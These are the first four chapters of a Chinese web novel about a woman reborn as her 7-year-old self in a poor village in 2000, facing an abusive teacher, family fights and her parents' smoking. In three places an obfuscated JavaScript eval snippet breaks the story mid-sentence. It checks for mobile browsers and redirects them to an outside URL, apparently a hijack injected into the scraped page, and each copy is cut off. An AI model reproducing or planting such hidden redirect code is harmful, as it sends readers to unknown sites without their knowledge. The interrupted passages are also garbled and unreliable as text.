《飞蛾赴火[重生2000]》 1. 教室 “前后桌之间讨论课后问题,待会儿抽人回答。” 前面的两个男生转身,均拿着翻开的语文课本,其中一人的课本污迹重重,书角卷成了蛋卷。 言双盯着对面男生的脸,彻底消化重生的事实。 因为如果一切都是梦,她不会看得清眼前这位男同学越来越长的鼻涕的颜色和形状。 毕竟梦里的一切都是模糊的。 “擦擦鼻涕吧。”言双伸手掏裤兜里的纸巾,掏了半天,只掏出些泥灰。 唉!2000年的她哪里用得起纸巾,用来擦屁股的书本都常常供不应求来着。 男生闻言,抬起小臂,袖口在口鼻处抹了一把。 言双看着他留在脸颊上的透明鼻涕印子,低头哀叹自身命运不济,竟然是重生,而不是投胎转世。 她再抬头时,男生脸上的鼻涕印子已经快干了,白白的一条像是胡须。 “强娃子昨天挨…挨…打…打来的。”周成吸着鼻涕嘻嘻地低笑,一颗头晃来晃去。 被他嘲笑的徐泽强默不作声,粗壮结实的手指握着笔在课本上写写画画。 言双伸脖一看,果然写的字也是粗壮结实。言双记得他学前班的时候写的拼音里面的i均像根火柴,被老师点名批评过。 “徐泽强就叫徐泽强啊,喊啥强娃子,这是在学校。”言双的同桌贾玉强龇着龅牙嘲讽道,并模仿周成讲话,“挨…挨…打…打,话都说不清楚。” “你管老子…老子说得…清楚不清楚。”周成小声咒骂,“你个满脸麻子的呲牙子。” 徐泽强仍旧不说话,认真做课后习题。 结巴的男生周成,初一读完便辍学打工,进入传销公司,家人拿钱赎过几次,却没能将其赎出,后面干脆杳无音信,都以为他被人杀了剐了的时候,他又回到了家乡。 言双最后一次见他,是在初中学校旁边场镇的后街道上,他站在一辆白色的小轿车旁边,看起来不像是遭受过非人折磨的样子。 当时言双惊呆了,张口就问:“周成,都说你跑不见了啊。” 奇怪的是明明过去也才三四年,言双却已经忘记周成当时的回答,只记得他的眼睛往地面看了一眼,脑袋摇晃了好几下,神态与他现在跟人斗嘴的神态有七八分像。 满脸麻子的呲牙子初中虽未辍学,且似乎读了高中,但是在村里人的口中那也是个不成事的人。 三十好几结不成婚,其母亲到处散播他曾经被女的骗钱的经历,不知是不是为了替他挽尊。 而徐泽强的人生,与周成、贾玉强一对比,几乎算得上是功成名就。 徐泽强顺利考上高中,高中参加飞行员考试并成功被录取,整个区都有名,高考成绩达到预期,进入航空大学,之后便顺利工作,顺利结婚生子。 言双粗略观察教室里的人的穿着打扮,以及教室的位置和新旧程度,确定这是2000年的九月,她升入三年级,还未满八岁,秋季学期刚开始不久, 在进入这间新教室之前,他们一班人还都在班主任的家里上课。 想到班主任,言双抬头朝讲台望去,被他锃亮的大脑门差点刺瞎了眼,还被他那头顶稀疏的油腻结股的发丝恶心到了。 既然要让她重生,就该让她重生到更早之前啊,这样也好彻底避开那老登的霸凌。 “好了,转回来。”老登忽然道,扶扶同样油腻的镜框,老鼠一般的眼睛瞅向角落,“言双起来回答课后的问题。” 言双低头看问题。 老登吴绍全抓着竹棍拍响讲桌,怒骂道:“叫你讨论,你给老子东张西望,上来。” “这几首诗都是描写秋天景色的,诗人用对比、比喻的方式描绘了一幅或壮丽、或灿烂、或萧瑟的秋景。”言双抬头看向讲台上那个一脸凶相的人。 已经做出要打人架势的吴绍全,撑着桌子,虚起眼睛缓缓坐下,嘴周、鼻周的皮耷拉着,双目中的狠辣如乌云涌动,横了一眼言双,方才低头看教材。 言双的心脏快跳到地上了。 她紧绷的身体慢慢落到长板凳上。 如果她没记错,今天是她被吴绍全打到尿裤子的日子。 当时贾玉强一直在桌下一拳一拳地打她的胳膊,她忍无可忍还手的时候,被吴绍全看见,并只将她一个人叫到讲台旁,扬起竹棍猛打了她几下。 她因为恐惧、疼痛、羞耻,尿失禁了。 温热的尿液顺着她粉红色的裤子内侧流向黄胶鞋。 挨着教室门的贾应涛和徐敏,伸长脖子探向她,大声嬉笑,向其他同学通报:“言双尿裤子了。” 从那以后,班上有几个男生就叫她尿咖子。 某天,教师里飘着一股屎味儿,所有人都看向她所在的位置,窃窃私语。 第二天,有女生说是贾玉强拉屎了,她看到贾玉强的妈给贾玉强洗裤子,叫她尿咖子的那几个男生,开始叫贾玉强屎咖子,经常笑说尿咖子和屎咖子坐在一起的。 此刻,言双才明白为什么她总是很难享受集体生活,集体生活的过程中总会有同学丢钱,有同学犯错,老师当着全班人咒骂恐吓的时候,她总觉得被咒骂恐吓的是自己。 原来是因为她成长过程中总是在明明什么都没做错的情况下受到惩罚。 笔尖炸开的钢笔将课本划出一道一道的伤痕。 好不甘心,真的好不甘心。 他吴绍全就是她言双的噩梦,即使他吴绍全再过四年就会因为正常走路而突然瘫痪,即使他瘫痪十六年之后,最终因为轮椅失控而摔下高坎惨死,言双仍然不甘心。 不甘心又能如何,她现在只有七岁多,学还是得上,而且这破学校一个年级只有一个班,一个班只有一个老师,一个老师负责语文数学、音乐体育美术所有教学工作。 言双七岁多的心脏在三十三岁的灵魂安抚下,渐渐恢复正常的跳动节奏,她认命地翻着三年级上册语文课本,可是对她这个已经三十三岁的人而言,内容实在无聊。 距离放学也不知道还有多长时间。 她现在不仅没有手机,还没有手表,对时间忽然失去控制令她焦躁不安,这大概就是传说中的手机戒断反应。 长大之后,言双回想成长过程,常常庆幸自己长大了。同朋友开玩笑时还说就算有人给她十个亿,让她回到小时候拯救一个可以拯救全人类的人,她都不愿意。 如今没有人给她十个亿,人类也没有处于被拯救的困境,她却重生了。 显然重生是对她的惩罚。 尖锐刺耳的下课铃声响起,言双想到教室后面的厕所,尿意消失了七八分。 那哪里是厕所,根本就是个简陋版的茅房,一个大土坑上面搭了几张旧木板,两侧排布着发黑发烂的玉米杆,形成一个三角架结构,下雨的时候,常常滴得满身黑水。 木板上以及坑内的秽物自不必说,有时候连放脚的地方都没有。 尽管进入大学之后,言双再没上过能看得到秽物的厕所,但小学教室后面的茅厕和后来初高中的冲水旱厕,却成了言双永久的噩梦,但凡睡前没有排空膀胱,但凡睡觉时肠胃不舒服,梦里的自己便永远在这样的厕所里徘徊,憋屎憋尿。 言双怀疑自己是毁灭了全人类,才受到重生这么严重的惩罚。 今天是阴天,一点阳光都没有,言双拍拍周成的背,问道:“这是第几节课?” 周成依旧没正形,结结巴巴嘲道:“第…第几节课,你都不…不晓得了吗?” 坐在教室当中最后一排的余金秀回道:“马上上最后一节了。” 言双松了一口气,又不免想到从前的自己,竟然要穿着尿湿的裤子坐一节课,还要穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923928|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着尿湿的裤子走约莫一个小时的山路回家,积攒的恨意如火山喷发。 言双是真想杀了吴绍全。 而吴绍全大概是想继续折磨她。 “言双。”吴绍全举着竹棍,棍尖点着黑板上的粉笔字,“10厘米等于多少分米?” 言双一边回答一边庆幸没有重生到高中课堂上,否则她今天怎么都要挨顿打。 吴绍全脸上的意外和不甘心如狂降的骤雨,在他脸上的沟壑里涌动,使他的脸显出更加突兀的凶相,棍尖移动到其他的长度单位上。 吴绍全一口气问完黑板上的问题,言双对答如流,吴绍全有气无处发,在讲台上高一脚低一脚地走动,突然转身撑着讲台阴着一双眼睛问道:“16厘米等于多少分米?” 看来吴绍全今天是非得找茬打她一顿不可。 言双撇撇嘴回道:“1.6分米。” 吴绍全脸上的肌肉开始抽搐,看向她的目光很是狠毒,大概还想继续发阴招。 这会儿言双的心脏已经适应了她三十三岁的意识,稳得很。 言双直直地看着面色越来越难看的吴绍全,看清他脸上的毛孔、疤痕、皱纹,心想这几乎全新的眼睛还真是好使,她隔了吴绍全大约三四米远,居然能看得清这些细节。 吴绍全其他的阴招迟迟没能发出来,但他也没让言双坐下。 言双预备擅自坐下时,忽然想到吴绍全也许是故意的,目的是等她擅自坐下时,正好找到借口发挥他的淫威。 如此一想,言双便靠着桌沿站着,她想要是从前,光是被罚站已经足以让她羞耻到尿失禁了。 长大当真是极好的事情。 站着无聊,言双一页一页地翻课本,翻到最后一页,才意识到她不该回答吴绍全最后一个问题。 因为,课本里面还没有小数的知识点。 她再回神听吴绍全的声音时,才发现甚至连长度单位都是新的知识,他们还没有学过。 也难怪吴绍全脸抽搐,她这个一年级数学考试能考12分的差生,竟然答出超纲问题,怎么看都像是有鬼。 站着消耗的热量更高,言双的肚子饿的乱叫,偷偷伸手掏书包,什么都没掏到。 她想不起是把干粮已经吃完了,还是这一天根本什么都没吃。 教室里充斥着吴绍全难听的方言,以及断断续续的竹棍棍尖敲击黑板的刺耳响声,间或夹杂着一些稚嫩的童音, 言双扫视教室里的其他十九人,个个都脏兮兮地像在泥地上打过滚,竟然生出一些看小孩的心情。 可不就是看小孩么?这教室里的一些人,在三十三岁的时候,小孩已经比他们现在大多了。 一种奇妙的感觉油然而生。 言双清楚地知道这教室里的人往后二十四五年的人生走向,可这教室里的人并不知道这个事实。 如果按照科幻电影里演的那样,她有意或无意的一个举动,可能会改变这些人的人生。 由于没有手机玩的等待时间太过无聊,言双已经开始点兵点将,确定要改变的对象了。 老式铃声刺拉拉地响起,吴绍全拿着竹棍在黑板上继续点来点去,操场上已经有其他年级的学生叫嚷,他仍然不紧不慢讲课。 以三十三岁的智力来听课的言双,觉得吴绍全讲得实在是够糟糕,他根本不会讲普通话,逻辑又十分混乱,经常前言不搭后语。 没办法,言双所在地区的农村教师,几乎都是这样的“人才”。 吴绍全终于开始收拾他桌上的眼镜盒,故作权威的姿态说道:“放学了。” 言双第一个飞奔出门。 她快憋不住了。 言双钻入一块玉米地,不管不顾周围此起彼伏的喧闹声,脱下裤子便舒畅地排泄。 这样的日子,她是一天都不想过了。 2. 错觉 山路蜿蜒陡峭,路面混合着杂草、石头、泥土,走起来十分费劲。 言双的脑子里过了一遍学校到家的所有路线,评估每一条路线需要耗费的时间,以及省力程度。 很快便停下,对走在身后的言蓉说:“我们以后走右边那条大路回家吧,路宽,而且不需要爬很高的坡。” 言蓉有气无力地应道:“那边太绕了。” “绕是绕了点,但是到学校的时候全都是比较平缓的下坡,很省力。”言双瞅到院子里的其他几个男生嘻嘻哈哈地靠近,重新走起来,想到她们整个小学阶段,都是走的小路回家,便对言蓉同意她的建议这件事不抱希望了。 前几天大概下过雨,路上的泥湿滑,言双深一脚浅一脚地爬着,时不时要伸手抓路两旁的蒿枝借力。 凸出来的石头顶了一下她的脚心,黄胶鞋的底薄,痛意直抵脑门儿。 鞋里的脚趾蜷缩,脚背拱起,她龇牙咧嘴地缓释痛意,回了一下头,看到言蓉的额前全是汗。 这人大概已经饿到不行了。 言双一想到这样的言蓉,在她一年级大脚趾化脓没办法走路的时候,每天放学还把她背到坡顶上,便对言蓉生出更多的愧意。 可放眼望去,不管是路两旁地里的庄稼,还是路上的植物,都没有可以直接吃到嘴里的。 她弯腰扯了一颗草,递给言蓉,“这个嫩茎嚼起来是甜的。” 言蓉接过,送进嘴里,嚼了一下,便吐了,“苦的。” 言双摇头叹气,她怎么忘了言蓉这人从小不仅不抗饿,还很挑食,因为家里只有一个小孩上学的那几年,言蓉吃的、用的都比现在好得多。 “要不是我们这地儿因为太穷,独生子女政策没有落实下来,一家允许生两个孩子,你这辈子应该会享福很多。”言双说着,又拔起一根牛筋草,剔掉上面的老叶,留下嫩茎,送入嘴里咀嚼品味。 “你在说啥啊。”言蓉的气力更微弱,额前的刘海儿已经被汗打湿,一缕一缕地贴着皮肤。 唉,言双敲脑袋,决定闭嘴,节省体力。 爬上坡顶,又走了一段下坡路,两人方才到家。 言蓉书包都未放下,便直冲灶房,揭开灶台中间那口大铁锅的锅盖,里面放了一碗酸菜干饭。 放下书包,跟上去的言双,到碗柜里取出一只已有缺口的瓷碗,用筷子拨了一些到碗里,随便吃了几口。 虽说不难吃,但比起言双长大之后吃过的那些食物,实在是算不得好吃,她吃了几口,不再觉得饿之后,便将剩下的全部倒回言蓉手中的大碗。 屋外传来一阵喧天的骂声,言双疾步跑出去,言蓉也狼吞虎咽几口温热的饭,搁下碗筷跟着跑出来。 徐敏的爸妈一人手里拿着一根扁担,一人手里拿着一把锄头,杵在地上,伸长脖子对着另外一对夫妻咒骂。 徐敏的妈妈董丽蓉咒骂道:“老子有两个儿子,你有得起么?你生你妈两坨女子,以后还要找老子借种。” 徐敏的爸爸徐新春则扬起扁担恐吓道:“你再指,你再指,老子今天把你整死。” 另一对夫妻男的叫徐新佳,是徐新春的亲哥哥,女的叫余金秀,跟言双的同学余金秀同名同姓。 言双长大之后常常在回忆往事时,觉得自己的成长环境就是一个巨大的暴力培养皿,如今带着三十三岁的见识,再亲眼观看暴力场景,对此结论更是深信不疑。 走在言双和言蓉后面的徐敏,这时正从言双家门前的马路上经过,言双看到他好像弯腰捡了一个什么东西,十来秒之后,言双便看到徐敏朝他的叔叔婶婶扔出去一个石头。 石头砸中了余金秀的头,也许是打偏了,也许是石头没有棱角,余金秀被砸中的地方并没有出血。 可因为徐敏的这个举动,原本还隔着两米远的两对夫妻,顿时扭打到一起,咒骂声混合着农具的敲击声,一声一声地没入静默的空气。 言双的爸妈各背着一大背篓的玉米从马路走上院坝,位于言双家下方的邻居夫妻二人,亦一人背着一大背篓的玉米经过马路。 位于更低处的院子里,好几人朝上面的院子张望。 周围的人都听到了打架斗殴的声音,但没有人去劝架,大家都对此习以为常,甚至能准确猜出原因。 言双回到灶房之前,看到了徐新佳和余金秀那两个也刚刚放学回家的女儿,看到她们站在被打惨了的父母旁边,不知所措地哭喊。 暮色降临,咒骂敲击声减弱。 言双一家围着山一般的玉米,撕玉米壳。 “那又是为了啥?”言双的婆婆徐金珍一手拿着撕玉米神器,熟练地撕掉玉米的外壳,并留下两片玉米叶子。 “还不是那瞎子和那婆娘又偷人家的苞谷了。”言双的妈妈周秀莲回道。 “管人家那些事。”言双的爸爸言德珍眉毛眼睛皱成一团,黑着脸斥道。 言双冲着她爸翻了一个大大的白眼,眼神却又不由自主地回到徐金珍身上,随着夜色的浓重,惧意不断加深。 今天晚上她还要跟这个已经于2006年12月某天去世的人睡在一张床上。 言双最新的记忆是2025年11月的,所以她对面的这位老人已经去世快二十年。 她没想到她在老人去世之后,没有一点的害怕,还敢一个人睡在老人睡过的房间,现在看到这个活生生的人,却生出浓浓的惧意。 言双收回视线,转移注意力,开口问道:“我能不能以后不上学了?” 言德珍依旧是皱着满脸的皮,骂道:“那你要搞啥,当放牛娃儿么?” 他扔出的玉米,砸到言双的脚边,搁小时候,言双早吓了一跳,好在她现在已经不小了。 “吴绍全光收拾我,当着其他娃儿的面骂我。”言双说着,看向她妈,寻求帮助,“妈记得以前二年级的时候,吴绍全还光喊我一个人回来要学费,明明学费是你们在中心校工地上干活抵了的,但吴绍全故意天天喊我跑回家要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923929|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他现在该没有问你要了。”周秀莲扔掉一根只长了一般玉米粒的玉米棒子,一手拉着黑色裤子侧袋,一手伸进去掏烟盒。 烟盒是软纸的,里面的烟挤成一捆,她抖落一支纸烟,几粒烟丝飘进蓬松的玉米壳中。 “去锅孔里给我点支烟来,你点个烟点的好。” 小时候的言双并不知道烟盒上印着的“吸烟有害健康”几个字真正意味着什么,所以每当周秀莲对她说这句话的时候,她会像是受到称赞一般,飞跑至锅孔处,用铁制火剪从一堆草木灰中翻出一个红亮的火石子,拿着烟触到火石子,然后衔住烟嘴咂一口,烟便点着了。 教她点烟要咂一口的自然是周秀莲。 周秀莲大字不识,自然认不得烟盒上的“吸烟有害健康”几个字,而就算其他人跟她解释,她也不会在乎。 因为她从五六岁就开始抽烟,她们一大家十来口人,都抽烟,都从很小就开始抽烟,一开始是为了抵御饥饿,后来就都有了烟瘾。 长大后的言双对二手烟深恶痛绝,为此与周秀莲几乎处于翻脸的状态,一想到自己被动吸过的二手烟,言双对周秀莲的厌恶又多了几分。 言双拒绝道:“我不点,吸烟有害健康,抽烟抽多了,人会得高血压、糖尿病、高血脂,会加速全身骨关节退化,还会得老年痴呆症。” 周秀莲脸色大变,烦躁遍布她身体的每个地方,“使你做个活路,你看你那懒散的样子,箩筐大个钩子,还不晓得多动一下。” “幺儿,你帮我点一下。”周秀莲伸长手臂,将烟递给言蓉。 言双拧着眉瞪着周秀莲,她还以为周秀莲用箩筐来挖苦她,是她再大一些的时候。 言双气得拍开周秀莲的手,对言蓉道:“莫帮她点,烟里的有害物质会影响你的甲状腺健康,我们俩的甲状腺不健康应该都是因为他们怀我们、带我们的时候,一直抽烟的原因。” “你在哪儿捡的这些词儿,都说的是些啥噢。”徐金珍笑着缓和气氛。 听到这话,言双才反应过来,在场的这些人根本听不懂她在说什么。 言双的气便因此泄了一大半,当言蓉伸手接烟的时候,忽然灵机一动道:“你帮她点嘛,直接抽烟和吸二手烟,会导致你变成一个大傻子,学习成绩会越来越差。” 言蓉打小爱学习,且特别讨厌别人影响她学习,虽然她的学习成绩是到初中才好起来,但这个阶段,她应该已经十分在乎学习成绩了。 “我要做作业去了。”言蓉站起来道。 言双松了口气,也站起来,走进院坝里,以免吸到二手烟。 不知是白炽灯的灯光自带一层朦胧感,还是因为灯泡上集满了灰尘、苍蝇屎减弱了白炽灯的光感,站在院坝里的言双看着玉米山旁边的人时,有一种看另一个世界的错觉。 她想或许她只是因为2025年跟周秀莲争辩抽烟的坏处,而生了闷气,进入了一场噩梦中。 其实并未有重生之事发生在她的身上。 3. 房间 言双躺在充斥着霉味儿、泥土味儿的床上,脸朝里对着一面青砖砌的墙,伸出手,触及砖与砖之间粗糙干燥的砂浆,贫穷的真实感遍及全身。 她翻身,一双干瘦的脚隔在她和言蓉之间。 言双大着胆子,摸到脚主人的小腿胫骨,隔着一层皮按压上面的凸起物,她以前查过,这种凸起物大概率是骨刺,跟骨关节退化、长期劳损或骨质增生有关。 她和言蓉小时候总是摸着这些骨刺入睡。 这样活生生的人,竟然再活六年多就会消失。 死亡真的是一件好容易的事情。 背对着言双的言蓉忽然翻身喊道:“婆婆,我好饿啊。” 婆婆在没有一丝光亮的夜色中回道:“那里还有些苹果呐,去捡一个吃。” 言双吸吸鼻子,闻到一股苹果的味道,而且还是水分已经蒸发掉一些的那种苹果。 屋里的霉味儿大概都是来自于那一堆没卖出去的苹果。 本来阴沟那面墙就潮湿,不知道为什么还要把苹果堆在那里。 言双心里直叹气,心里盘算着要动手给自己做一张简易的床,不能再睡在这样的环境里。 这时,啪嗒一声响,是婆婆拉亮了白炽灯,言蓉翻身下床,趿拉着黄胶鞋,跑到墙边挑选出一个皱皮的青苹果,在被子上擦了擦,直接啃咬。 躺卧的言双扒拉了两下被子,被子是老式的,面子是鲜艳的红色,绣着牡丹花,里子是纯白色。 嗯,只是如今这纯白色的里子已经跟纯白没什么关系了。 除了床,还得解决铺盖的问题,可这在这个一滚线的钱可能都舍不得拿出来,甚至会把肥料口袋、米口袋上的缝线拆下来缝衣服裤子的家里,岂止是个问题,根本就是个天大的难题。 皱巴巴的苹果在言蓉的牙齿下发出咯吱咯吱的声音,衬得周围的环境愈发的安静。 2025年已经三十三岁,未婚未育,不上班,在农村呆了五年多,被村民议评头论足,每天却只想着运动减肥、运动缓解颈椎不适的言双,都从未焦虑过,此刻却焦虑到难以合眼。 言双想念2025年自己那间面朝群山,开着大窗户,阳光能均匀洒入室内,有着大衣柜,以及干燥松软的大床的房间。 由奢入俭果然是违背人性的。 好在年轻的身体一睡着便跟尸体一样,言双这一夜总体上算是睡得不错。 睁开眼发现言蓉还在睡,伸在两人之间的脚已经不见。 言双坐起身,婆婆正挽着黑色的丝帕往头上缠绕,雪白的发丝慢慢消失。 “鲜活。”言双低喃。 徐金珍掖着丝帕尾端,微抬头问:“啥?” “莫啥。”言双笑了笑,伸手推言蓉,“不起来上学么?” 言蓉烦躁地扯过被子捂耳朵,气冲冲地回:“今天星期六。” 唉,没有手机,连确认一下是不是星期六都不行。 言双穿上昨天穿过的衣服裤子,从床尾下地。 床尾距离门仅一米远,每晚正对着风最大的地方睡觉,难怪她长大之后总是头痛,而言蓉则像她们的爸爸和婆婆一样,养成了包头睡觉的习惯。 家里还有一间叫小儿间的屋子,仅背了个名而已,根本没有用来给言双和言蓉做卧室,而是堆放土豆,婆婆的棺材,以及其他的杂物。 她怀疑小儿间小儿间,其实留给儿子的屋,因为她们家没有儿子,所以没有派上用场。 言双推开小儿间,发现婆婆的棺材已经移到了后门外面堆放柴禾的地方,但土豆,直径约一米五的半球状竹编容器,被泥土染黄的地膜,干裂的竹篾,以及卷成筒装的竹编的晒粮食的垫子都乱七八糟地放在里面。 言双从小到大都不怕体力劳动,而且体力还不错,便信心满满地开始收拾屋子。 她将搬得动的杂物全部整齐地码放在竹垫旁边。 尽管以后这些杂物还会被父母乱丢乱放,她还会收拾无数次,但此刻看起来整间屋子已经顺眼不少,她心里多少对今后的生活有了信心。 目前最大的难题是哪里去找制作床和铺盖的材料。 现在村里的林山还不够茂密,木材的获取难度极大,只能找竹材,而竹材只能去有竹子的人家里要。 言双一边盘算一边拿着棕榈叶制作的扫把扫地面上的灰尘,泥土地面,灰尘似乎总扫不净。 “今天是哪个老爷显神了?”言德珍站在门口嘲道。 言双只淡淡地瞅了他一眼,继续手中的活儿,不愿意被打断思绪。 言德珍倒也没再挖苦嘲讽,言双再转头时,周秀莲拿着一个塑料盆子走进来。 言双杵着扫把想了想问道:“妈,你等会儿可不可以跟我去刘表婶那儿要点竹子回来?” “要竹子弄啥?”周秀莲掰掉土豆上的芽尖,放入塑料盆里。 “我想睡这个屋,不想跟婆婆和姐姐挤在一张床上。”言双回完,忽然有些生气。 她想要是她是个男孩,家里早就准备好一间卧室和一张床了。她爸妈或许看到有儿子的家庭会很羡慕,但是偶尔想到自己生了两个女儿,什么都不用准备,只管给一口饭,上几天学,最后嫁出去了事,也许会庆幸只生了女儿。 实际上不用或许,根据言双与父母三十多年的相处、交流,她发现她的父母的确存在这样的心理,而且村子里没有儿子的人几乎都是这样想的。 “我就想要自己的空间。”言双提起扫把,扬起一阵灰尘。 “啥子空间?这屋里床都没有,咋个睡?”周秀莲起身,“苞谷摘完撕完再说。” 周秀莲没有直接拒绝,言双心里稍微有了点底,又低头扫地,一瞥眼看到右侧的墙角缝隙,同时闻到一股猪粪的味道。 父母睡在楼上,楼下是猪圈、厕所,楼板高于小儿间的地面,虽说接口处填了些木头、石头,但缝隙还是不少。 到底为什么这样设计? 言双的头痛起来。 虽说她心里明白得一步一步来,但这一步也未免太难了些。 早饭是本地独有的豆花稀饭,制作方法也十分独特。 前一天晚上泡好的黄豆,用手磨磨成细浆,以绷有细纱网的竹箩过滤出豆渣,烧沸之后,舀浆水点出豆腐花,放入浆水菜,最后下玉米糁,煮十来分钟便可以吃。 周秀莲还喜欢加入土豆、豌豆、胡豆、红小豆等食材一起煮。 这个季节没有豌豆、胡豆,只有土豆,而红小豆还连着茎秆挂在廊檐下。 言双闻着熟悉的豆浆水味道,匆匆洗完手,便拿着碗等在灶前。 稠稠的稀饭咕嘟咕嘟地煮着。 言双的脑子里只有蛋白质,全然不顾飞溅的流体。 周秀莲举着火剪退出灶孔里的柴禾,抬头问道:“这么饿?” 言双点点头回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923930|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我要吃蛋白质。” 灶孔里的火光在周秀莲的脸上映出霞光,她揉灭抽了半截的纸烟,笑道:“一天在说些啥。” 尝过因缺乏蛋白质而引起的超重、肥胖之苦的言双,拿起大铁勺舀出锅里的两大块豆腐,又加了两个土豆,以及半勺的玉米糁流体,捧着滚烫的瓷碗就朝走廊一步一步慢慢移动。 言双坐下后,看着碗里冒起的热气,用筷子搅动散热。 言德珍已经坐在饭桌旁,拧着眉问道:“就端你自己的?一点礼貌都莫得。” 言双不吭声,一手护着碗,一手加快筷子的搅动速度。 徐金珍端着一碗稀饭走出来,弯腰放到言德珍面前。 “妈,你给我弄啥,你自己快吃。”言德珍马上道,眉毛眼睛依旧皱成一团。 “你吃你吃,她娃儿家,能端啥。”徐金珍带着笑意说着,又转身朝向厨房,周秀莲一手端着一只碗出来。 周秀莲放下碗大吼道:“蓉娃子,还不晓得起来吃饭是不是?” 徐金珍边走边说:“那娃儿,昨天晚上就吵肚子饿,现在又不起来吃。” 言双夹着一块嫩豆腐花,吹啊吹,越吹越觉得自己命苦,所有的气味、话音、词句、场景都鲜活到令她倒吸一口凉气,一点没有因为亲人都在身边,一切又恢复原样的狂喜。 命苦的言双看着桌子中间那碗萝卜泡菜,继续吃没放盐的稀饭,试着说:“我待会儿要用一些苞谷壳子做手工。” 言德珍嚼着一粒蒜,冷着眉眼斥道:“一天天耍的莫事干,不晓得那是喂牛的?” 言双当然知道言德珍会是这样的反应,撇嘴翻白眼,细嚼慢咽碗里不算特别有营养的食物。 周秀莲和言德珍刚离开家,言双立即从院坝里的苞谷壳堆里挑出许多干净柔软的叶子,这些叶子是挨着玉米粒的,韧性强,可以搓成一股,然后编成一张垫子。 言双紧紧抱着一大捆的玉米叶,放到她提前准备好的一张竹编笆子上,均匀地铺开,放在太阳底下去水汽。 言蓉起床到灶房找饭吃的时候,言双正拿着洗脸盆往外走。 “嘿,居然晓得洗脸了。” 言双懒得在“人”身上浪费时间,沉默不语地拿着洗脸盆,跑到屋后的农地里挖土。 为了避免被她爸发现,她并未在同一个地方取土,而是东边一捧西边一捧,装满直径约三十厘米的洗脸盆,跌跌撞撞、颤颤巍巍地端回家。 “帮我舀一点水倒在这里面嘛。”言双举着沾满湿泥的双手,央求言蓉。 “你小心挨打。”言蓉丢下手里的饭,到厨房取了一只碗,上半身完全趴进一口口小身大的红陶土水缸里,舀出一大半碗水,端到走廊里。 见言蓉准备将水全部倒入,言双急道:“先倒一点点。” 刚下过雨没多久,土里的水分不少,水多了容易过稀,结不成块。 言蓉依言倒了一点点,便回桌放下碗,继续吃饭。 言双和了和泥巴,跳下走廊坎,抓了一大把苞谷壳拌入泥巴里,又继续搅动,估摸着干湿度差不多的时候,便端进小儿间,一把一把抓起泥土填入缝隙。 用这种方法端着洗脸盆在地里、屋里往返四五次的言双,终于将缝隙消灭。 最后看着盆里剩下的一些材料,提了把椅子,垫在脚底下,把剩下的材料塞进了墙交角处的缝隙——只是她能够到的位置的缝隙。 4. 天机 言双一直等着爸妈抢收完玉米闲下来,身体和精神都没那么疲惫的时候到来,只有这样她的央求才会得到关注,她才有可能独自拥有一个房间和一张单人床。 对,只是有可能而已。 这个时代,他们这种家庭,不可能重视小孩的央求,小孩的央求都是无理的。 太阳快接近西边时,家里都没人做午饭,周秀莲和言德珍依旧隔一会儿背一大背篓的苞谷回到家,倒在走廊上,脚都不歇一下,就又赶往地里。 言双实在饿得慌,跑至鸡圈,在鸡窝里捡了一个还热着的鸡蛋。 母鸡总共才四只,公鸡两只,照这种规模,言双每天吃一个鸡蛋的愿望根本无法实现。 要想扩大养殖规模,则需要更多的粮食,而现在各家各户都尚未大量使用化肥,地里的粮食产量并不高。 产量并不多的粮食不仅要供人吃,还得供猪吃,剩下的能喂鸡的量很小。 言双想如果她勤快一点,可以每天割草喂鸡,说不定可以提高鸡的产蛋量。 勤快一点可以解决很多问题。 地里只有包谷茬,尖尖的、一排排地立着。 没有言双想要的绿叶菜。 她爬坡上坎,转了好一阵,在土坎上发现好几丛韭菜。 韭菜这玩意儿在她们这个地方不是那么受欢迎,一般当佐料使用,而且还只会出现在油饼中。 言双无奈,不得不挑了一把叶尖还未泛黄的韭菜拿回家。 她刚回家,周秀莲和言德珍刚倒完苞谷,坐下喝水歇气。 周秀莲问:“你掐那弄啥?” 言双高兴道:“我打算加鸡蛋炒了吃。” “鸡蛋是拿来卖钱的,吃啥子吃。”言德珍脱掉左脚的黄胶鞋,脚后跟踩着木椅沿,反举黄胶鞋,抖里面的泥土,黄白色的灰尘飘起,黄胶鞋的小脚趾处已经磨出一个洞,他脚上的袜子,脚后跟处的布料也已经消失。 言双的好兴致瞬间熄灭,她很想怼一句:“卖了钱给你们买烟、买酒,给你攒着,让你过年打牌么。” 可眼下她有所求,惹毛这两人,一切计划可能都会泡汤。 于是她只是沉默,想着韭菜炒土豆丝也不错。 这时,周秀莲抽着烟问道:“煮个啥子饭呢?” 